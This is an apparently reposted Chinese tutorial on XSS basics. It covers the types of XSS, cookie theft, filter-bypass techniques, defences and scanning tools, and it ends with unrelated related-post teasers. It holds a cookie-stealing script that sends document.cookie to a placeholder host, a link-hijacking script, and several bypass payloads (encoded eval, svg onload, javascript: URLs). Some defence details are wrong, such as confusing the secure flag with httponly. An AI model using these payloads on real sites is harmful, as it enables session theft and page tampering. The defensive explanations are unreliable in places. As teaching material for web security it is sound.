[总结]XSS基础

文章目录

  • [总结]XSS基础

    • 7.1 XSStrike工具

    • 7.2 xsser工具

    • 5.1 同源策略

    • 5.2 设置httponly

    • 4.1 相关编码介绍

    • 4.2 双写绕过

    • 4.3 编码绕过

    • 4.4 js伪协议绕过

    • 4.5 CSS特性绕过

    • 4.6 HTML5特性绕过

    • 4.7 其他姿势

    • 4.1.1 URL编码

    • 4.1.2 html编码

    • 4.1.3 JavaScript编码

    • 3.1 探测XSS

    • 3.2 可能存在的位置

    • 2.1 cookie介绍

    • 2.2 盗取用户信息

    • 2.3 篡改网页链接

    • 1.1 反射型XSS

    • 1.2 存储型XSS

    • 1.3 DOM型XSS

    • 1 XSS分类

    • 2 XSS危害

    • 3 XSS存在位置

    • 4 绕过简单保护机制

    • 5 防范措施

    • 6 XSS Filter过滤器

    • 7 工具

    • 8 在线靶场

XSS,跨站脚本攻击(Cross Site Scripting),为了不和CSS缩写混淆,故缩写为XSS。

1 XSS分类

1.1 反射型XSS

又称非持久性XSS,这种攻击往往具有一次性。

攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户,用户浏览器解析执行代码,触发XSS漏洞。

例如:

<?php echo $_GET[“uname”] ?>

1.2 存储型XSS

又称持久性XSS,攻击脚本存储在目标服务器的数据库种,具有更强的隐蔽性。

攻击者在论坛、博客、留言板,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

例如:DVWA中的Stored XSS

1.3 DOM型XSS

全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。

2 XSS危害

2.1 cookie介绍

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式,Cookie是由web服务器保存在用户浏览器(客户端)上的小文件,他可以包含有关用户的信息。

目前有些cookie是临时的,有些是持续的。临时的Cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该cookie就会被系统清楚。

服务器可以利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。

cookie最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是cookie的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入cookie,以便在最后付款时提取信息。

2.2 盗取用户信息

若存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取cookie:

url?uname=<script>document.location=http://ip/cookies.php?cookie=" document.cookie</script>

其中的链接是恶意链接,目的是获取cookie并发送到恶意者的网站中。

此外,可利用cookie值,访问目标站点,利用获取的cookie值来访问网站,从而盗取用户信息。

2.3 篡改网页链接

使用JS代码,注入到对于的XSS位置,篡改网页中所有的链接。

//window.onload 当窗口加载时,执行匿名函数。//使用for循环遍历获得所有链接a标签//将所有a标签所有的链接都指向构造的URL<script>    window.onload=function(){var link=document.getElementsByTagName("a");    for(j=0;j<link.length;j  ){link[j].href="http://URL";    }}</script>

3 XSS存在位置

3.1 探测XSS

  1. 构造一个独一无二且不会被识别为恶意代码的字符串来提交到页面。

    例如:123qwe

  2. 使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示。

  3. 如果显示,则构造对应的payload,例如<script>alert();</script>,观察是否弹出警告框,如果有,则存在XSS漏洞。

3.2 可能存在的位置

  • html标签中的属性,例如value值。

  • 选择列表中,例如select标签中的option标签的value值。

  • html标签事件的事件,例如onload。

  • GET型URL中

  • POST型表单中

  • JSON中

  • 自定义HTTP头中

4 绕过简单保护机制

4.1 相关编码介绍

4.1.1 URL编码

url的设计者,考虑到安全传输的问题,为了防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。

百分号编码:url编码包含一个百分号,后面跟着两个表示字符ASCII码的十六进制数。例如:空格转为 。

4.1.2 html编码

一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。

实体编码:一般以“&”开头,以“;”结尾。

进制编码:以“&#”开头,加上字符的数值。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。

4.1.3 JavaScript编码

数字形式:\u后面加上4位16进制数字(或\后加上2位16进制数字),按字符的Unicode数值编码,不足位数以零填充。如“<”转为“\u003c”或“\x3c”。其中,“\u”开头的Unicode转义方式可以用在字符串之外的位置。

4.2 双写绕过

同SQL注入的双写绕过,例如服务端中过滤了“script”关键字,一般是直接替换“script”为“”,则可以双写构造payload,<scrscriptipt>alert(1);</scrscriptipt>来绕过。

4.3 编码绕过

当过滤了某些关键字时,例如构造<script>eval(atob('base64编码'));</script>来绕过。

  • eval:计算某个字符串,并执行其中的JS代码

  • atob:将Base64编码解码。

此外,可以将字符转换为16进制编码或unicode编码来运行。

双斜杠 16进制绕过,例如,\\x3cscript\\x3ealert();\\x3c/script\\x3e

双斜杠 unicode编码绕过,\\u003cscript\\u003ealert();\\u003c/script\\x3e

HTML实体替换双引号:“ ”——“ ”

CSS/JS编码(unicode)替换尖括号:< >——\u003c \u003e

CSS/JS编码(base16)替换圆括号:( )——\x28 \x29

ANSI编码替换局部er:alert——alert

4.4 js伪协议绕过

将JS代码添加到伪协议说明符javascript后的URL中,这个特殊的协议类型声明了URL的主体是任意的JS代码,它由JS的解释器运行。

例如,<img>src=javascript:alert(1);

4.5 CSS特性绕过

可以在属性中,利用CSS和伪协议来绕过,

例如,background:url("javascript:alert(document.domain);");

4.6 HTML5特性绕过

插入新标签,在新标签中构造payload。

例如,SVG标签。

SVG意为可缩放矢量图形(Scalable Vector Graphics)。使用XML格式定义图像。

SVG文件可通过以下标签嵌入HTML文档:<embed>、<object>或者<iframe>,也可以使用svg标签插入。

<svg/事件="">

例如,<svg/onload="javascript:alert(1)">

4.7 其他姿势

使用反引号“`”代替圆括号,如alert(1)替换成alert`1`。

在过滤中可用空格,换行穿插在payload,从而绕过过滤机制,并且不会影响。

5 防范措施

5.1 同源策略

在计算机中,同源策略(Same-origin Policy,SOP)用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。

只有两个页面属于同一个源才能互相访问,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,所以a.com下的JS脚本采用ajax读取b.com里面的文件数据是会报错的。

例如,源A页面要访问源B页面认证Cookie,如果不加阻止读取Cookie,会造成Cookies欺骗绕过登录验证。

注意:同源一定要是协议、主机名、端口号完全一致。

例如,http://www.example.com与https://www.example.com是不同源。

此外,

domain属性可以解决因同源安全策略带来的不同文档的属性共享问题。

降域document.domain同源策略认为域和子域属于不同的域。

可以通过都设置document.domain=‘a.com’,浏览器就会认为他们都是同一个源。

5.2 设置httponly

setcookie(name,value,expire,path,domain,secure)

  • expire可选。规定cookie的有效期。

  • path可选。规定cookie的服务器路径。

  • domain可选。规定cookie的域名。

secure可选。规定是否通过安全的HTTPS连接来传输cookie。如果设置为true,就不能使用JS来获取cookie,就可以初步避免cookie劫持。

6 XSS Filter过滤器

可从网上下载Filter,也可以使用各种函数来过滤。

htmlspecialchars()函数

  • 把预定义的字符转换为HTML实体

  • 即将符号转为真正的字符,例如尖括号

htmllentities()函数

  • 这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体,例如,用户输入“<”时,就会被该函数转换为实体“&gt”

strip_tags()函数

  • 该函数剥去字符串中的HTML、XML以及PHP的标签。

  • 该函数始终会剥离HTML注释。这点无法通过allow参数改变。

  • 该函数是二进制安全的。

除此之外,还可以自定义xss filter。

7 工具

7.1 XSStrike工具

XSStrike是一款检测XSS的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,二十通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现WAF检测功能。它还会扫描DOM XSS漏洞。

项目地址:

https://github.com/s0md3v/XSStrike

运行在python3.6

安装命令:

sudo apt-get install python3-pip

git clone https://XXXXX.git

pip3 install -r requirements.txt

chmod x xsstrike.py

7.2 xsser工具

针对web应用程序自动化挖掘、利用、报告XSS漏洞的框架。

工具原理:不断拼接payload

8 在线靶场

https://xss-quiz.int21h.jp/

一个日本安全研究院制作的XSS练习靶场

https://xss.haozi.me/

来源:https://www.icode9.com/content-4-800051.html

(0)

相关推荐

  • XSS进阶版

    XSS进阶版 01 1 原理 虽然之前写过,但并不全(是水文),而这期进阶版,其中几个概念必须得先说一下 1 html字符实体 为什么要讲这个呢,因为HTML中有些字符是和关键词冲突的,比如<. ...

  • 干货 | 学习XSS从入门到熟悉 | 前端壹菜鸟

    XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌 ...

  • 渗透测试之XSS(四)

    DOM型XSS DOM其实是一种特殊的反射型XSS,它是面向于DOM文档的模型的漏洞.DOM的整个过程都是在前端完成的,没有后端的参与(纯前端的操作!),所以该类型的XSS漏洞比较鸡肋,没有太大作用. ...

  • 就算上犬这种基础体位也有很多细节可以打磨.......

    关于上犬中手臂位置和腿的控制,我先介绍给大家下面这个5分钟的David Garrigues的视频课程. 下面先看这个视频教学,视频之后我再用文字图片的方式做一点补充. 具有丰富教学经验和擅长很多实用具 ...

  • 厨师长教:“8种翻锅基础手法”,厨师入门硬核翻锅教程,快收藏

    厨师长教:“8种翻锅基础手法”,厨师入门硬核翻锅教程,快收藏

  • 美容基础培训之: 认识皮肤

    美容基础培训之: 认识皮肤

  • 奇门遁甲基础知识人盘之八门

    转自:杨治奇门 奇门遁甲代表人事的是人盘.地盘是定位盘,而人盘是可以转动的.人盘的实现方法是以洛书九宫八卦为框架,在盘上布八门.八门的顺序为:休门.生门.伤门.杜门.景门.死门.惊门.开门.下面分别简 ...

  • 易学应用基础知识之八:《奇门遁甲》中十二地支的相互关系

    这一部分内容,我们来介绍关于十二地支的相互关系. 关于十二地支之间的相互关系,在其它传统预测学中的应用是比较广泛的,比如八字.六爻等.在奇门遁甲中,十二地支之间的各种相互关系并不是所有的关系都能用得上 ...

  • 高三《生活与哲学》硬核基础、背诵体系

    [导入]大轮复习,进入哲学专项攻坚.       哲学在新高考中的位置与分值,基本定型,选择题第13-16题,共4题,3X4=12分:非选择题是第20题,往往是第(1)小题,12分,拢共24分,如果2 ...

  • 事业单位公共基础知识:人文常识之楚辞

    在各种考试中,一般都会涉及一些人文常识的题目,考查方式主要以识记性为主,但由于考察内容涉及的知识范围较广.例如一些文学著作知识,对于很多考生来说部分题目还是比较难.现就文学著作中的楚辞的部分知识梳理如 ...

  • 【零基础工笔画教学视频】分染

    【零基础工笔画教学视频】分染

  • 摄影丨新人实用的基础构图方法!快记下!

    构图大概是摄影学习的"旅途"中必不可少的一部分,而事实上,我们在摄影学习的过程中接触到的构图种类非常的多.今天来介绍一个非常适合新手"操练"的构图形式--中间构 ...